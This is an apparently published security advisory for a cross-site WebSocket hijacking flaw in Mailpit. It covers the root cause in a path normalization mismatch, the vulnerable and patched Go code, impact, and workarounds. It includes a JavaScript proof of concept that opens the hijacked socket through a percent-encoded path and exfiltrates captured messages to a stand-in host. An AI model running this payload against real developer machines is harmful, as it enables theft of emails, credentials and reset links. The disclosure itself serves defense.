CVE-2026-67448: Cross-Site WebSocket Hijacking via Path Normalization Discrepancy in Mailpit

Mailpit is an open-source email and SMTP testing application widely utilized by software developers to capture, inspect, and analyze outbound communications during testing cycles. To facilitate real-time telemetry and state tracking of incoming emails, Mailpit establishes web interfaces, REST APIs, and a WebSocket event system. This architecture exposes sensitive configuration parameters, transactional testing content, and user-registration flows, which are normally contained within trusted or local developer environments.

Between versions 1.29.0 and 1.30.5, Mailpit suffered from a configuration discrepancy in its access control layers that allowed arbitrary cross-origin requests to interface directly with local or remote APIs. Because Mailpit typically executes without configured authentication controls, it assumes isolation from external networks. This vulnerability allows external malicious web domains to breach this isolation barrier using a Cross-Site WebSocket Hijacking (CSWSH) attack.

The flaw resides in the logic used to determine whether origin-based validation rules are executed during the WebSocket handshake. By using distinct path evaluation methodologies within the access control layer and the routing middleware, Mailpit created a security bypass condition that allowed unauthorized origins to establish stateful TCP channels with internal WebSocket clients.

The root cause of this vulnerability lies in an impedance mismatch or path parsing differential between two primary components of Mailpit's Go-based backend: the access control middleware and the standard multiplexer (http.ServeMux). In Go, path parsing and normalization can be performed using various Request attributes. If different middleware components evaluate different attributes, inconsistencies arise.

In the vulnerable configurations, the custom HTTP access filter (middleWareFunc) in server/server.go evaluated the raw r.RequestURI parameter to decide whether an incoming connection targeted an API endpoint. r.RequestURI is a string value directly representing the raw request line sent by the HTTP client, preserving percent-encoded characters such as %61 instead of converting them back to literal characters. The middleware checked if this raw string started with the API route prefix (e.g., /api/).

Conversely, the Go server's default routing handler (http.ServeMux) maps and routes requests using the normalized and decoded path stored in r.URL.Path. When a client issues a request using a percent-encoded path such as /%61pi/events, the middleware compares /%61pi/events against /api/ using a prefix match, which resolves to false and bypasses the CORS validation logic. However, http.ServeMux normalizes the encoded string into /api/events and matches the route to the active WebSocket endpoint. The internal upgrader then handles the connection. Because the upgrader's CheckOrigin callback was configured to blindly return true, under the assumption that the outer middleware had already validated the request origin, the connection is allowed to proceed.

A detailed review of the security commit (fbe5e006c3f1682b819df58b4a932d7a84920be9) reveals that the flaw was corrected by aligning the path evaluation parameters and establishing an active defense-in-depth model within the WebSocket upgrader.

The middleware in server/server.go was updated to check the normalized path representation (r.URL.Path) rather than the raw transport-layer URI (r.RequestURI). This ensures that percent-encoded bypass sequences are normalized to literal characters prior to evaluation.

// server/server.go
 
// VULNERABLE CODE PATH
if strings.HasPrefix(r.RequestURI, config.Webroot+"api/") || htmlPreviewRouteRe.MatchString(r.RequestURI) {
    if allowed := corsOriginAccessControl(r); !allowed {
        http.Error(w, "Blocked due to CORS violation", http.StatusForbidden)
        return
    }
}
 
// CORRECTED CODE PATH
if strings.HasPrefix(r.URL.Path, config.Webroot+"api/") || htmlPreviewRouteRe.MatchString(r.URL.Path) {
    if allowed := corsOriginAccessControl(r); !allowed {
        http.Error(w, "Blocked due to CORS violation", http.StatusForbidden)
        return
    }
}

Furthermore, the developers fortified the WebSocket upgrader in server/websockets/client.go to ensure that connections fail closed if explicit origin checks are missing or bypassed. The hardcoded, passive CheckOrigin closure was replaced with a callback function pointer initialized during startup:

// server/websockets/client.go
 
var upgrader = websocket.Upgrader{
	ReadBufferSize:    1024,
	WriteBufferSize:   1024,
	EnableCompression: !config.DisableHTTPCompression,
	CheckOrigin: func(r *http.Request) bool {
		if checkOriginFunc != nil {
			return checkOriginFunc(r)
		}
		// Fail closed if the CORS registration logic fails
		return false
	},
}

This remediation ensures that even if path-filtering middleware fails to execute, the WebSocket upgrader forces verification of the client's HTTP Origin header before establishing the upgrade.

To execute a Cross-Site WebSocket Hijacking (CSWSH) exploit against CVE-2026-67448, an attacker must craft a malicious web page that runs within the browser environment of a target developer who has an active, unauthenticated Mailpit instance. The script triggers an asynchronous cross-origin upgrade handshake targeting the percent-encoded path of the WebSocket API.

// Execution block from an attacker-controlled external domain
const socketUrl = "ws://localhost:8025/%61pi/events";
const ws = new WebSocket(socketUrl);
 
ws.onopen = () => {
  console.log("[+] WebSocket hijacking successful. CORS check bypassed.");
};
 
ws.onmessage = (event) => {
  const payload = JSON.parse(event.data);
  // Exfiltrate telemetry, messages, and email structures
  fetch("https://attacker-domain.example/collect", {
    method: "POST",
    mode: "no-cors",
    body: JSON.stringify(payload)
  });
};

Because of the URL normalization mismatch, the browser completes the handshake because the backend skips CORS validation and the CheckOrigin function approves the connection.

Once the connection is established, Mailpit streams all incoming SMTP transactional events in real-time to the socket, allowing the attacker to capture developer emails directly.

The impact of successful exploitation of CVE-2026-67448 is high confidentiality compromise of development systems. Captured SMTP streams in active software development environments often contain highly sensitive credentials, password reset URLs, system configuration warnings, API access tokens, and personally identifiable information (PII) of registered test accounts.

Because the attacker controls the client-side execution path in the hijacked WebSocket session, the compromise occurs in real-time, allowing automated scripts to capture authentication links the moment they are generated by a testing backend. This is highly problematic because these reset links can be immediately parsed and executed, leading to total takeover of target staging accounts.

This vulnerability does not directly impact system integrity or service availability because the hijacked channel is limited to read operations on the WebSocket hub. The CVSS 3.1 rating is calculated as 6.5 (Medium severity) due to the absolute requirement of user interaction (the developer visiting a malicious page) and the localized scope of impact.

To secure affected systems, system administrators and developers must upgrade Mailpit to version 1.30.6 or higher. The patch enforces proper URI normalization checks inside the gateway filters and integrates passive origin validations during the WebSocket handshakes.

If upgrading is not immediately possible, apply the following workarounds to mitigate the risk:

1. Enforce Web UI Authentication: Run the Mailpit server with the --ui-auth-file flag to restrict access. This prevents cross-origin scripts from silently authenticating and upgrading WebSocket sessions.

2. Configure Network Binding Controls: Ensure that Mailpit binds exclusively to localhost interfaces (e.g., 127.0.0.1 or ::1) by setting the bind configuration parameter. Avoid exposing Mailpit to public interfaces using open bind configurations (0.0.0.0).

3. Implement Browser Isolation: Restrict access to developer consoles using secure container instances or isolated browser configurations to prevent untrusted external web domains from communicating with local network services.